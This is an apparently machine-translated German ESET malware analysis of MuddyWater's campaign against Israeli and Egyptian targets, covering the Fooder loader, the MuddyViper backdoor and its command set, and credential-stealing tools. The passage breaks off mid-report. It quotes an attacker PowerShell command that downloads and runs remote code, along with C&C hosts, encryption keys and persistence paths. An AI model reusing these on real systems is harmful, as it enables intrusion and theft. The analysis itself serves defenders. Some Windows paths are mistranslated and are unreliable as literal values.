ESET Forscher haben neue MuddyWater-Aktivitäten identifiziert, die hauptsächlich auf Organisationen in Israel abzielen, wobei ein Ziel in Ägypten bestätigt wurde. MuddyWater, auch bekannt als Mango Sandstorm oder TA450, ist eine mit dem Iran verbündete Cyberspionage-Gruppe, die für ihre hartnäckigen Angriffe auf Regierungen und kritische Infrastrukturen bekannt ist und dabei häufig maßgeschneiderte Malware und öffentlich verfügbare Tools einsetzt. In dieser Kampagne setzten die Angreifer eine Reihe von bisher nicht dokumentierten, benutzerdefinierten Tools ein, um die Umgehung der Verteidigung und die Persistenz zu verbessern. Zu diesen Tools gehört ein benutzerdefinierter Fooder-Lader, der zur Ausführung von MuddyViper, einer C/C++-Backdoor, entwickelt wurde. Mehrere Versionen von Fooder geben sich als das klassische Snake-Spiel aus, und seine interne Logik umfasst eine benutzerdefinierte Verzögerungsfunktion, die von der Spielmechanik inspiriert ist, sowie die häufige Verwendung von Sleep-API-Aufrufen. Diese Funktionen sollen die Ausführung verzögern und eine automatische Analyse erschweren. MuddyViper ermöglicht es den Angreifern, Systeminformationen zu sammeln, Dateien und Shell-Befehle auszuführen, Dateien zu übertragen und Windows-Anmeldeinformationen und Browserdaten zu exfiltrieren. Die Kampagne nutzt auch Credential Stealers (CE-Notes und LP-Notes) und Reverse-Tunneling-Tools (go-socks5), die seit langem zu den Favoriten der MuddyWater-Betreiber gehören.

Obwohl dies unser erster öffentlicher Blogpost über MuddyWater ist, verfolgen ESET Forscher die Gruppe schon seit mehreren Jahren und haben ihre Aktivitäten in mehreren ESET APT Activity Reports dokumentiert. Im Gegensatz zu früheren Kampagnen von MuddyWater, die oft verrauscht und leicht zu entdecken waren, zeigt die in diesem Blogpost behandelte Kampagne einen gezielteren, ausgefeilteren und raffinierteren Ansatz.

Die wichtigsten Punkte dieses Blogposts:
  • Die Entwickler von MuddyWater verwendeten CNG, die kryptografische Windows-API der nächsten Generation, was für Gruppen, die mit dem Iran in Verbindung stehen, einzigartig und in der allgemeinen Bedrohungslandschaft eher untypisch ist.
  • Die Gruppe nutzte auch fortschrittlichere Techniken, um MuddyViper, eine neue Backdoor, einzusetzen, indem sie einen Lader (Fooder) verwendete, der sie reflektiv in den Speicher lädt und ausführt.
  • Wir stellen technische Analysen der in dieser Kampagne verwendeten Tools zur Verfügung, darunter MuddyViper, der Fooder-Loader, der CE-Notes-Browser-Datendiebstahl, der LP-Notes-Anmeldedaten-Diebstahl, der Blub-Browser-Datendiebstahl und go-socks5-Reverse-Tunnel.
  • Während dieser Kampagne vermieden die Betreiber absichtlich interaktive Sitzungen mit der Tastatur, eine Technik, die in der Vergangenheit oft durch falsch eingegebene Befehle auffiel.

Überblick über die MuddyWater-Gruppe

MuddyWater ist eine Cyberspionagegruppe, die seit mindestens 2017 aktiv ist und hauptsächlich auf Einrichtungen im Nahen Osten und in Nordamerika abzielt. Sie ist eine der aktivsten, mit dem Iran verbundenen APT-Gruppen, die von ESET-Forschern aufgespürt wurden, und hat Verbindungen zum iranischen Ministerium für Nachrichtenwesen und nationale Sicherheit.

Die Gruppe wurde der Öffentlichkeit erstmals 2017 von Unit 42 als MuddyWater vorgestellt, deren Beschreibung der Aktivitäten der Gruppe mit den ESET-Profilen übereinstimmt - der Schwerpunkt liegt auf Cyberspionage, der Verwendung bösartiger Dokumente als Anhänge, die Benutzer zur Aktivierung von Makros und zur Umgehung von Sicherheitskontrollen veranlassen sollen, und der Ausrichtung auf Einrichtungen im Nahen Osten.

Zu den bemerkenswerten Aktivitäten in der Vergangenheit gehören die Operation Quicksand (2020), eine Cyberspionage-Kampagne, die auf israelische Regierungsstellen und Telekommunikationsunternehmen abzielte und die Entwicklung der Gruppe von einfachen Phishing-Taktiken hin zu fortschrittlicheren, mehrstufigen Operationen veranschaulicht, sowie eine Kampagne, die auf politische Gruppen und Organisationen in der Türkei abzielte und den geopolitischen Fokus der Gruppe, ihre Fähigkeit zur Anpassung von Social-Engineering-Taktiken an lokale Gegebenheiten und ihr Vertrauen in modulare Malware und eine flexible C&C-Infrastruktur verdeutlicht.

Neben ihrer häufigen Aktivität sind die Operationen von MuddyWater oft laut. Die Gruppe ist für ihre hartnäckigen Angriffe auf Behörden, Militär, Telekommunikation und kritische Infrastrukturen bekannt, wobei sie in der Regel benutzerdefinierte Malware und öffentlich verfügbare Tools einsetzt, um sich Zugang zu verschaffen, die Persistenz zu wahren und sensible Daten zu exfiltrieren. Die Gruppe hat es nicht nur auf ihren Erzfeind Israel abgesehen, sondern scheint auch Länder ins Visier zu nehmen, die diplomatische Beziehungen zum Iran unterhalten oder ausbauen wollen.

ESET hat mehrere Kampagnen dokumentiert, die MuddyWater zugeschrieben werden und die zeigen, dass sich das Toolset der Gruppe weiterentwickelt und der operative Schwerpunkt verlagert hat. Während sich die früheren Operationen auf ein breites Zielspektrum und relativ einfache Techniken stützten, zeigen die jüngsten Kampagnen Anzeichen für eine technische Verfeinerung und erhöhte Präzision.

Im März und April 2023 griff MuddyWater ein nicht identifiziertes Opfer in Saudi-Arabien an, indem es ein Batch-Skript bereitstellte, das eine PowerShell-basierte Backdoor herunterlud, die zum Herunterladen und Ausführen beliebiger Nutzdaten und anschließend zum Entfernen der ursprünglichen Nutzdaten von der Festplatte verwendet wurde.

Die Gruppe führte im Januar und Februar 2025 eine Kampagne durch, bei der es zu Überschneidungen mit Lyceum (einer Untergruppe von OilRig) kam, auf die in dieser Veröffentlichung näher eingegangen wird. Diese jüngste Überschneidung deutet auf eine Weiterentwicklung des Modus Operandi von MuddyWater hin.

Zu den öffentlich dokumentierten benutzerdefinierten Tools der Gruppe gehören beispielsweise die Backdoors Bugsleep, Blackout, Small Sieve, Mori und POWERSTATS sowie benutzerdefiniert kompilierte Varianten von Open-Source-Tools wie LaZagne oder CrackMapExec. Bei MuddyWater-Kampagnen werden in der Regel keine neuen Tools, Malware oder Techniken eingesetzt oder eingeführt; stattdessen sind sie oft aufgrund ihrer Zielrichtung bemerkenswert.

Während sich MuddyWater anfangs ausschließlich auf Cyberspionage konzentrierte, führte die Zusammenarbeit mit Lyceum zu einem Spearphishing-Angriff auf den Fertigungssektor. Der Angriff erregte viel Aufsehen und erreichte kaum operative Ziele.

Die in dieser Publikation beschriebene Kampagne zeigt, was für MuddyWater ein beispielloser Fortschritt in Bezug auf das Toolset und die technische Ausführung zu sein scheint.

Viktimologie

Wie bereits erwähnt, zielte MuddyWater bei dieser Kampagne in erster Linie auf Organisationen in Israel, aber auch auf eine in Ägypten. In Tabelle 1 sind die Opfer nach Ländern und vertikalen Regionen aufgeführt. Die Kampagne begann am30. September 2024 und endete am18. März 2025.

Tabelle 1: Opfer nach Land und Branche

Country Vertical
Egypt Technology
Israel Engineering #1
Engineering #2
Engineering #3
Local Government #1
Local Government #2
Manufacturing
Technology
Transportation
Utilities
University #1
University #2
University #3
Unidentified #1
Unidentified #2
Unidentified #3
Unidentified #4
Unidentified #5

Interessant an den Opfern in der Versorgungsbranche ist, dass sie am11. Februar 2025 ebenfalls von Lyceum kompromittiert wurden.

Überschneidungen und Zusammenarbeit mit Lyceum

Anfang 2025 stellte ESET eine operative Überschneidung zwischen MuddyWater und Lyceum fest , einer Untergruppe der mit dem Iran verbündeten Cyberspionage-Gruppe OilRig, auch bekannt als HEXANE oder Storm-0133. OilRig ist seit mindestens 2014 aktiv und man geht davon aus, dass sie ihren Sitz im Iran hat. Zu den Tools, die wir Lyceum zuschreiben, gehören DanBot, Shark, Milan, Marlin, Solar, Mango, OilForceGTX und eine Reihe von Downloadern, die legitime Cloud-Dienste für die C&C-Kommunikation nutzen. Wir haben bereits beobachtet, dass Lyceum mehrere israelische Organisationen ins Visier genommen hat, darunter nationale und lokale Regierungsstellen sowie Organisationen im Gesundheitssektor.

Während der hier beschriebenen Kampagne führte MuddyWater im Januar und Februar 2025 eine gemeinsame Unterkampagne mit OilRig durch. MuddyWater initiierte den Zugriff über eine Spearphishing-E-Mail, die einen Link zu einem Installationsprogramm für die Syncro-Software zur Fernüberwachung und -verwaltung (RMM) enthielt. Nach der ersten Kompromittierung installierten die Angreifer ein zusätzliches RMM-Tool, PDQ, und setzten einen benutzerdefinierten Mimikatz-Loader ein, der als Zertifikatsdateien mit .txt-Dateierweiterung getarnt war. Ausgehend von den beobachteten Aktivitäten wurden die erbeuteten Anmeldedaten wahrscheinlich von Lyceum verwendet, um sich Zugang zu verschaffen und die Kontrolle über die Abläufe in dem anvisierten Unternehmen des Fertigungssektors in Israel zu übernehmen.

Diese Zusammenarbeit deutet darauf hin, dass MuddyWater möglicherweise als erster Zugangsvermittler für andere mit dem Iran verbündete Gruppen fungiert.

Zuschreibung

Die Viktimologie, die TTPs und die Werkzeuge, die bei dieser Kampagne beobachtet wurden, stimmen mit mehreren der neu dokumentierten Fähigkeiten und Werkzeuge überein, die wir zuvor MuddyWater zugeschrieben haben. Diese Einschätzung basiert auf der Methode des Erstzugriffs und der anschließenden Bereitstellung bösartiger Tools - im Allgemeinen über Spearphishing-E-Mails, die Links zum Herunterladen von RMM-Software enthalten.

TTPs

Die Betreiber von MuddyWater setzen weiterhin auf vorhersehbare und skriptbasierte Backdoors, die in PowerShell und Go geschrieben sind. Sie konzentrieren sich nach wie vor auf die Telekommunikations-, Regierungs-, Öl- und Energiebranche.

Der erste Zugriff erfolgt in der Regel über Spearphishing-E-Mails, die häufig PDF-Anhänge mit Links zu Installationsprogrammen für RMM-Software enthalten, die auf kostenlosen File-Sharing-Plattformen wie OneHub, Egnyte oder Mega gehostet werden. Diese Links führen zum Download von RMM-Tools wie Atera, Level, PDQ und SimpleHelp.

Zu den von den MuddyWater-Betreibern eingesetzten Tools gehört auch die VAX-One-Backdoor, die nach der legitimen Software benannt ist, als die sie sich ausgibt: Veeam, AnyDesk, Xerox und der OneDrive-Updater-Dienst.

Da die Gruppe weiterhin auf dieses vertraute Schema zurückgreift, sind ihre Aktivitäten relativ leicht zu erkennen und zu blockieren.

Tools überschneiden sich

Darüber hinaus haben wir Codeüberschneidungen zwischen mehreren der neu dokumentierten Tools und denen, die wir zuvor MuddyWater zugeschrieben haben, festgestellt:

  • LP-Notes, ein neues Tool zum Stehlen von Anmeldeinformationen, hat das gleiche Design wie CE-Notes, ein Browser-Datendiebstahl-Tool, das wir zuvor mit MuddyWater in Verbindung brachten. Während dieser Kampagne haben wir auch einen Mimikatz-Loader beobachtet, der das gleiche Design und die gleichen Verschleierungsmethoden wie CE-Notes aufweist.
  • Wir beobachteten mehrere neue Varianten der von MuddyWater angepassten Go-Socks5-Reverse-Tunnel, die die Gruppe in den Jahren 2024 und 2025 verwendete.
  • In zwei Fällen beobachteten wir die angepassten go-socks5-Reverse-Tunnel, die in einen neuen MuddyWater-Loader mit dem internen Namen Fooder eingebettet waren. In einem Dutzend weiterer Fälle wurde dieser Lader zum Laden der neuen Backdoor von MuddyWater, MuddyViper, verwendet.
  • Interessanterweise verwenden MuddyViper und die CE-Notes/LP-Notes/Mimikatz-Loader-Varianten die CNG-API für die Datenverschlüsselung und -entschlüsselung. Soweit wir wissen, ist dies eine Besonderheit der mit dem Iran verbündeten Gruppen. Ein weiteres gemeinsames Merkmal dieser Tools ist, dass sie versuchen, Benutzeranmeldeinformationen zu stehlen, indem sie einen gefälschten Windows-Sicherheitsdialog öffnen.

Werkzeuge

In diesem Blogpost dokumentieren wir bisher unbekannte, benutzerdefinierte Tools, die von MuddyWater verwendet werden:

  • Fooder Loader - ein neu identifizierter Loader, der die MuddyViper-Backdoor in den Speicher lädt und ausführt. Beachten Sie, dass mehrere Versionen von Fooder sich als das klassische Snake-Spiel tarnen, daher die Bezeichnung MuddyViper. Ein weiteres bemerkenswertes Merkmal von Fooder ist die häufige Verwendung einer benutzerdefinierten Verzögerungsfunktion, die die Kernlogik des Snake-Spiels implementiert, kombiniert mit Sleep-API-Aufrufen. Diese Funktionen zielen darauf ab, die Ausführung zu verzögern, um bösartiges Verhalten vor automatischen Analysesystemen zu verbergen.
  • MuddyViper-Backdoor - eine bisher nicht dokumentierte C/C++-Backdoor, die es Angreifern ermöglicht, Systeminformationen zu sammeln, Dateien herunter- und hochzuladen, Dateien und Shell-Befehle auszuführen sowie Windows-Anmeldeinformationen und Browserdaten zu stehlen.

Der Rest der in diesem Blogpost dokumentierten Tools umfasst:

  • CE-Notes, ein Browser-Datendiebstahlprogramm,
  • LP-Notes, ein Programm zum Stehlen von Anmeldedaten,
  • Blub, ein Browser-Datendiebstahlprogramm, und
  • mehrere go-socks5 Reverse-Tunnel.

Fooder-Lader

Fooder ist ein 64-Bit-C/C++-Lader, der die eingebettete Nutzlast entschlüsselt und dann reflektiv lädt (siehe Abbildung 1), wobei MuddyViper die am häufigsten beobachtete Nutzlast ist.

Figure 1. Relationships between Fooder and its launcher and payload
Abbildung 1. Beziehungen zwischen Fooder und seinem Startprogramm und seiner Nutzlast

Fooder scheint der interne Name dieses Tools zu sein, basierend auf seinen PDB-Pfaden:

  • C:\Benutzer\win\Desktop\Fooder\Debug\Launcher.pdb
  • C:\Benutzer\pc\Desktop\main\My_Project\Fooder\x64\Debug\Launcher.pdb

Obwohl wir nur ein Beispiel davon erfasst haben, glauben wir, dass Fooder von einer einfachen, in C geschriebenen Launcher-Anwendung ausgeführt wird. Es gibt keine String-Verschleierung und keine ausführliche Protokollierung auf der Konsole, und der PDB-Pfad bleibt intakt:

C:\Benutzer\pc\Quelle\repos\ConsoleApplication7\x64\Release\ConsoleApplication7.pdb

Wir haben eine Instanz (SHA-1: 76632910CF67697BF5D7285FAE38BFCF438EC082) der Komponente beobachtet, die Fooder startet. Der Launcher, der unter dem Namen %USERPROFILE%\Downloads\OsUpdater.exe bereitgestellt wird, erwartet eine Prozess-ID als Befehlszeilenargument. Nach der Ausführung versucht er, das Token des angegebenen Prozesses über die API DuplicateTokenEx zu duplizieren, und verwendet dann CreateProcessAsUserA, um Fooder auszuführen.

Nach der Ausführung entschlüsselt Fooder die eingebettete Nutzlast in den folgenden Schritten:

  • Das Befehlszeilenargument(6) wird zu jedem Byte eines fest kodierten Schlüssels hinzugefügt, woraus sich der AES-Entschlüsselungsschlüssel ergibt, der allen Proben gemeinsam ist, 6969697820511281801712341067111416133321394945138510872296106446.
  • Ein hartkodierter Wert(5) wird von jedem Byte der hartkodierten Nutzdaten subtrahiert.
  • Schließlich wird die hartkodierte Nutzlast mit der WinCrypt-API und dem AES-Schlüssel entschlüsselt.

Fooder lädt die Nutzdaten dann mit Hilfe von Reflective-Techniken direkt in den Speicher, so dass sie ausgeführt werden können, ohne auf Standard-Systemaufrufe oder das Schreiben auf die Festplatte angewiesen zu sein.

Einmal gestartet, wurde Fooder nicht nur zur Verbreitung von MuddyViper, sondern auch von HackBrowserData verwendet, einem Open-Source-Dienstprogramm, das in der Lage ist, sensible Browserinformationen wie Anmeldedaten und Cookies zu entschlüsseln und zu exportieren. Fooder erleichtert auch den Einsatz von go-socks5-Varianten, bei denen es sich um Go-kompilierte Binärdateien handelt, die als Reverse-Tunnel fungieren und es Angreifern ermöglichen, Firewalls und Network Address Translation (NAT)-Mechanismen zu umgehen. Die MuddyWater-Gruppe hat go-socks5 bereits früher unabhängig von Fooder eingesetzt, was darauf hindeutet, dass sie weiterhin auf dieses Tool für die heimliche Netzwerkkommunikation und Datenexfiltration angewiesen ist.

Beachten Sie, dass sich mehrere Versionen von Fooder als das Spiel Snake tarnen - siehe die in Abbildung 2 hervorgehobenen Strings und Mutexe - die am häufigsten eingebettete Nutzlast.

Figure 2. Multiple Fooder instances masquerade as the Snake game
Abbildung 2. Mehrere Fooder-Instanzen tarnen sich als das Spiel Snake

Ein weiteres bemerkenswertes Merkmal von Fooder ist die häufige Verwendung einer benutzerdefinierten Verzögerungsfunktion (die die Kernlogik des Snake-Spiels implementiert, bei dem der Spieler das Ende einer wachsenden Linie, die oft als Schlange dargestellt wird, manövriert, um Hindernissen auszuweichen und Gegenstände einzusammeln) und der Sleep-API-Aufrufe. Die Ausführungsverzögerung wird durch die Nachahmung der schleifenbasierten Verzögerungsfunktion erreicht: wie im Snake-Spiel, wo jede Bewegung durch eine Schleife gesteuert wird, die eine kurze Zeitspanne wartet, bevor das Spiel aktualisiert wird. Die Schleife führt Ausführungsverzögerungen ein, die das Verhalten der Malware verlangsamen und ihr helfen, Tools zu umgehen, die auf schnelle bösartige Aktivitäten achten. Abbildung 3 zeigt die Verzögerungen und das Willkommensbanner des Snake-Spiels, das dem Benutzer zur Laufzeit angezeigt wird.

Figure 3. Various calls to delay execution are dispersed throughout Fooder’s code
Abbildung 3. Verschiedene Aufrufe zur Verzögerung der Ausführung sind im Code von Fooder verstreut

Fooder verfügt nicht über eine eingebaute Persistenzfunktion. Wenn die endgültige Nutzlast von Fooder jedoch die MuddyViper-Backdoor ist, kann die Backdoor über eine geplante Aufgabe oder den Startup-Ordner eine Persistenz für den Lader einrichten.

MuddyViper-Hintertür

MuddyViper, eine bisher nicht dokumentierte, in C und C++ geschriebene Backdoor, ermöglicht den verdeckten Zugriff und die Kontrolle über kompromittierte Systeme. Wir haben MuddyViper nur im Speicher beobachtet, der von Fooder geladen wird, was der Grund dafür sein könnte, dass es keine Verschleierung oder String-Verschlüsselung gibt. Wie für MuddyWater typisch, sendet MuddyViper während seiner Ausführung extrem ausführliche und häufige Statusmeldungen an seinen C&C-Server, wie zum Beispiel die folgende:

  • [+] Persist: -------------------- Hallo, ich bin Live --------------------
  • [+] Persist: -------------------- Hallo,Erstes Mal --------------------
  • [-] Persist: Aufgabe erstellen fehlgeschlagen !!!!

Die Hintertür führt außerdem eine lange Liste mit mehr als 150 Prozessnamen und Details zu den jeweiligen Produkten, um detaillierte Berichte über die in der kompromittierten Umgebung entdeckten Sicherheitstools senden zu können, obwohl das Hinzufügen der Details leicht auf der Serverseite hätte implementiert werden können:

  • [>] Prozess: aciseagent.exe ~~> (Cisco Umbrella Roaming Security) --> (Security DNS) gefunden!
  • [>] Prozess: acnamagent.exe ~~> (Absolute Persistence) --> (Asset Management) gefunden!
  • [>] Prozess: acnamlogonagent.exe ~~> (Absolute Persistenz) --> (Asset Management) gefunden!

Dieses Verhalten führt zu einem erheblichen Netzwerkverkehr.

MuddyViper verfügt über zwei Methoden zur Herstellung der Persistenz:

  • Sein Installationsverzeichnis kann als Windows-Startordner konfiguriert werden, indem die folgenden Registrierungswerte auf %APPDATALOCAL%\Microsoft\Windows\PPBCompatCache\ManagerCache gesetzt werden

    hKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup.

    HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup.

  • Eine geplante Aufgabe namens ManageOnDriveUpdater kann MuddyViper bei jedem Systemstart von diesem Pfad aus starten.

MuddyViper unterstützt 20 Backdoor-Befehle - Details zu allen Befehlen finden Sie in Tabelle 2 - und ist insbesondere in der Lage, Reverse-Shells zu öffnen und zu bedienen, Dateien herunterzuladen, hochzuladen und auszuführen, die laufenden Sicherheitstools zu melden, Benutzeranmeldeinformationen und Daten aus einer Vielzahl von Browsern zu stehlen, seine eigene Persistenz einzurichten und sich selbst zu deinstallieren.

Tabelle 2. MuddyViper-Backdoor-Befehle

ID Arguments Action Response
200 N/A N/A 0, via the GET /adad or GET /aq36 request, to obtain a backdoor command.
207 N/A Decrypts the embedded HackBrowserData tool and reflectively loads it in a new thread. This open-source tool can steal credentials, history, and other information from web browsers.
MuddyViper then compresses the collected data (into a file named CacheDump.zip) and uploads it to the C&C server.
Collected browser data, via the GET /mq65 request.
In case of an error, a custom status message is sent instead.
300 <command_line> Launches a reverse shell using:
 • the provided command line (command ID 300)
 •  C:\windows\system32\cmd.exe (command ID 301)
 •  C:\windows\system32\WindowsPowerShell\v1.0\Powershell.exe (command ID 302)
Then, in a loop, uploads the process output to the C&C server and interprets the server response (see command IDs 350-352) until interrupted.
Process output, via the GET /oi32 request.
In case of an error, a custom status message is sent instead.
301 N/A
302 N/A
350 N/A Must follow command IDs 300-302. Sleeps for a preconfigured amount of time – for the reverse shell loop, the default is one second.
351 Sleep time (in milliseconds) Must follow command IDs 300-302. Configures the sleep time for the reverse shell loop – the default is one second.
352 Input for the reverse shell. Must follow command IDs 300-302. Passes the provided argument to the running reverse shell.
360 N/A Not implemented, likely related to the reverse shell API. A custom error message:
[-] Agent does not have an active pipe
400 Flag. Must follow command ID 401. It confirms that the C&C server has successfully received a part of the exfiltrated local file. Optionally adjusts the sleep before the next upload specified in command ID 401 to 10 seconds. No response, unless this command is issued outside of a pending file upload process, it sends a custom error message:
[-] Agent does not have an DOWNLOAD file
401 Sleep time (in milliseconds), filename. Initiates a file upload operation from the specified local file to the C&C server in chunks, with the specified sleep time between each upload. Contents of the specified file, via a series of GET /dadw requests.
500 Data chunk. Must follow command ID 501. Writes the received data chunk into a previously created and opened local file. A custom error message, if the operation fails.
501 Sleep time (in milliseconds), filename. Downloads a file from the C&C server in chunks into a local file with the specified name. The specified sleep time is used as a delay after downloading each data chunk. Deletes the file if the connection cannot be established after six consecutive attempts. A series of GET /dadwqa requests, to request the file contents.
700 Sleep time (in milliseconds) Configures the sleep time between connection attempts to the specified value (default is 60 seconds). N/A
800 N/A Enumerates running processes, searching for selected security tools from an extensive hardcoded list. For each detected process, sends a report with the following information, populated from that hardcoded table:
[>] Process: <process_name> ~~> (<product_name>) --> (<category>) found!
805 Timeout (in milliseconds) Displays a fake Windows Security dialog (see Figure 4), prompting the user to fill in credentials, which are then exfiltrated to the C&C server. Uses the provided argument as a timeout for the dialog. Collected credentials, via the GET /rq13 request:
[+] creds ~~> Username:<username> ~~> Password:<password>
If not successful, a custom error message is sent instead.
806 N/A Sets up persistence via a scheduled task named ManageOnDriveUpdater. The backdoor copies itself to its installation path, unless it is already running from there. A custom status message, depending on the outcome of the operation.
900 N/A Uninstalls itself. First, clears persistence set via a Windows Startup Folder and then deletes itself.
Note that this action will not clear the persistence via a scheduled task that can be set by the backdoor command ID 806.
A custom status message, depending on the outcome of the operation.
905 N/A Terminates the current backdoor process. N/A
906 N/A Relaunches itself (via the CreateProcessW API) and terminates the current process. A custom status message, depending on the outcome of the operation.
other N/A N/A [-] Agent statusCode I don't have it

Einer der in Tabelle 2 aufgeführten Befehle mit der ID 805 zeigt einen gefälschten Windows-Sicherheitsdialog an, um das Opfer dazu zu verleiten, seine Windows-Anmeldedaten einzugeben (siehe Abbildung 4). Eine ähnliche Technik wird vom LP-Notes-Stealer von MuddyWater verwendet (siehe LP-Notes Credential Stealer).

Figure 4. Fake Windows Security dialog displayed by MuddyViper (command ID 805)
Abbildung 4. Gefälschtes Windows-Sicherheitsdialogfeld, das von MuddyViper angezeigt wird (Befehls-ID 805)

Ein weiterer Befehl mit der ID 900 zielt darauf ab, MuddyViper von dem kompromittierten Computer zu entfernen und seine Persistenz zu löschen; der Befehl entfernt jedoch nicht alle Spuren der Backdoor.

Netzwerkprotokoll

Zur Kommunikation mit seinem C&C-Server verwendet MuddyViper HTTP-GET-Anfragen (über die WinHTTP-API) über Port 443, wobei das WINHTTP_FLAG_SECURE-Flag für die Verwendung von SSL/TLS konfiguriert ist. Es wurden zwei C&C-Server beobachtet: processplanet[.]org und 35.175.224[.]64.

In beiden Kommunikationsrichtungen werden die Daten mit AES-CBC verschlüsselt, wobei die CNG-API mit dem Schlüssel (der für alle Stichproben verwendet wird) 0608101047106453101617106423101013101012101083109710108585106969 und der IV 0 verwendet wird.

In der Backdoor → Server-Richtung der Kommunikation:

  • Jeder vom C&C-Server unterstützte Endpunkt-URI kann von der Backdoor für eine bestimmte Art von Anfrage verwendet werden, z. B. für die Anforderung eines Befehls, das Hochladen einer Datei oder das Senden einer benutzerdefinierten Statusmeldung.
  • Zusätzliche Daten für den C&C-Server sind im HTTP-Anfragekörper enthalten, was für HTTP-GET-Anfragen unüblich ist.
  • Der User-Agent-String ist A WinHTTP Example Program/1.0, ein Überbleibsel des Beispielcodes für die WinHttpOpen-API.
  • Die Timeouts für Verbindung, Senden, Empfangen und Antworten sind auf 30 Sekunden eingestellt.
  • Die Standard-Schlafzeit zwischen aufeinanderfolgenden Verbindungsversuchen beträgt 60 Sekunden. Dieser Wert kann mit der Befehlskennung 700 konfiguriert werden.
  • Bei einem Fehlschlag werden die Verbindungsversuche bis zu 10 Mal wiederholt.
  • Vor der Verschlüsselung werden die Daten immer als <Computer_name>/<Benutzername>*<Daten> formatiert .

In der Richtung Server → Backdoor der Kommunikation:

  • Der HTTP-Statuscode bestimmt die Backdoor-Befehlskennung.
  • Die Argumente des Backdoor-Befehls werden in den HTTP-Antwortkörper aufgenommen.

CE-Notes Browser-Datendiebstahl

CE-Notes ist ein Browser-Datendiebstahlprogramm, das wir nach dem Dateinamen - ce-notes.txt - benannt haben, der verwendet wird, um gestohlene Daten auf der Festplatte zu speichern. Wir entdeckten CE-Notes im Jahr 2024, als wir beobachteten, dass MuddyWater EXE- und DLL-Versionen des Programms auf dem System einer Organisation in Israel installierte.

CE-Notes wurde mit dem folgenden PowerShell-Befehl heruntergeladen:

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-Expression

Beide Versionen des Browser-Datenstehlers versuchen, den app-gebundenen Verschlüsselungsschlüssel zu stehlen und zu entschlüsseln, der in der Local State-Datei(%APPDATA%\Local\Google\Chrome\Benutzerdaten\Local State) von Chromium-Browsern (Chrome, Brave und Edge) gespeichert ist. Die App-gebundene Verschlüsselung wurde in Chrome Version 127 eingeführt, wodurch Chrome in der Lage ist, an die App-Identität gebundene Daten zu verschlüsseln. Cyberkriminelle und APT-Gruppen haben dies erkannt und versuchen aktiv, die app-gebundene Verschlüsselung zu umgehen, um Sitzungsschlüssel zu stehlen. CE-Notes ist ChromElevator auf GitHub sehr ähnlich.

Die gesammelten Daten sind AES-CBC-verschlüsselt, wobei die CNG-API mit dem Schlüssel 9262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F und der IV 4103A09887B82FFD56A93BB431805224 verwendet wird.

Dann werden die verschlüsselten Daten auf der Festplatte in C:\Users\Public\Downloads\ce-notes.txt gespeichert, um später abgerufen zu werden (wahrscheinlich über ein RMM-Tool, da weder die EXE- noch die DLL-Versionen über Mittel zum Exfiltrieren der Datei verfügen). Der Hauptunterschied zwischen der EXE- und der DLL-Version ist die der DLL hinzugefügte Funktion zur Umgehung der virtuellen Maschine.

Wir haben den CE-Notes-Browser-Datendiebstahl an den folgenden Stellen beobachtet:

  • C:\system2.dll
  • C:\Benutzer\Öffentlichkeit\Downloads\system2.dll
  • C:\Intel\system.dll
  • C:\20240926_165509.exe

LP-Notes credential stealer

LP-Notes ist ein C/C++ Windows Credential Stealer mit dem gleichen Design wie der CE-Notes Browser-Data Stealer. In Anlehnung an die gleiche Namenskonvention wie bei CE-Notes haben wir den Stealer LP-Notes genannt, basierend auf der lokalen Datei, die er verwendet, um gestohlene Anmeldedaten vor der Exfiltration zu speichern: C:\Users\Public\Downloads\lp-notes.txt (im Gegensatz zu C:\Users\Public\Downloads\ce-notes.txt). Der einzige Zweck von LP-Notes besteht darin, Opfer zur Eingabe ihrer Anmeldedaten zu verleiten, indem ein gefälschter Windows-Sicherheitsdialog angezeigt wird, der sie zur Eingabe ihres Windows-Benutzernamens und -Kennworts auffordert. Wir haben beobachtet, dass LP-Notes heruntergeladen und von PowerShell mit einer Befehlszeile ausgeführt wurde, die der im Abschnitt CE-Notes gezeigten sehr ähnlich ist.

Initialisierung

Bei der Ausführung beginnt LP-Notes mit der Suche nach einem Prozess namens taskhostw.exe (Host-Prozess für Windows-Aufgaben) und gibt sich dann als der Sicherheitskontext des Prozesses aus (über die ImpersonateLoggedOnUser-API ); erst dann aktiviert LP-Notes seine schädliche Nutzlast.

LP-Notes verwendet mehrere einfache Verschleierungstechniken, darunter eine benutzerdefinierte, additionsbasierte Routine zur Entschlüsselung von Zeichenketten. Abbildung 5 zeigt die Funktion, die Zeichenketten mit einer Länge von 15 bis 19 Zeichen entschlüsselt, wobei der Entschlüsselungsschlüssel immer derselbe ist - eine Reihe von vordefinierten Konstanten, die zu jedem Byte der Zeichenkette addiert oder subtrahiert werden. Interessanterweise verwendet CE-Notes die gleiche Entschlüsselungsroutine, allerdings mit einem anderen Entschlüsselungsschlüssel, wie in Abbildung 6 dargestellt.

Figure 5. LP-Notes string decryption routine
Abbildung 5. LP-Notes String-Entschlüsselungsroutine
Figure 6. CE-Notes string decryption routine, similar to that of LP-Notes
Abbildung 6. CE-Notes String-Entschlüsselungsroutine, ähnlich der von LP-Notes

LP-Notes verwendet String-Stacking für Strings, die kürzer als 15 oder länger als 19 Zeichen sind, einschließlich Entschlüsselungsschlüssel, IV und Importnamen. Um die Verwendung von Windows-API-Funktionen zu verschleiern und die statische Analyse zu erschweren, löst LP-Notes die API-Funktionen während des Starts der C-Laufzeit dynamisch auf, bevor die WinMain-Funktion, der Standard-Einstiegspunkt für eine grafische Windows-Anwendung von Microsoft, ausgeführt wird, und verbirgt so direkte Verweise auf die API-Funktionen vor der Pseudocode-Ansicht (siehe Abbildung 7).

Figure 7. LP-Notes WinMain function with obfuscated import names vs deobfuscated view
Abbildung 7. LP-Notes WinMain-Funktion mit verschleierten Importnamen (links) vs. entschleierte Ansicht (rechts)

Fähigkeiten

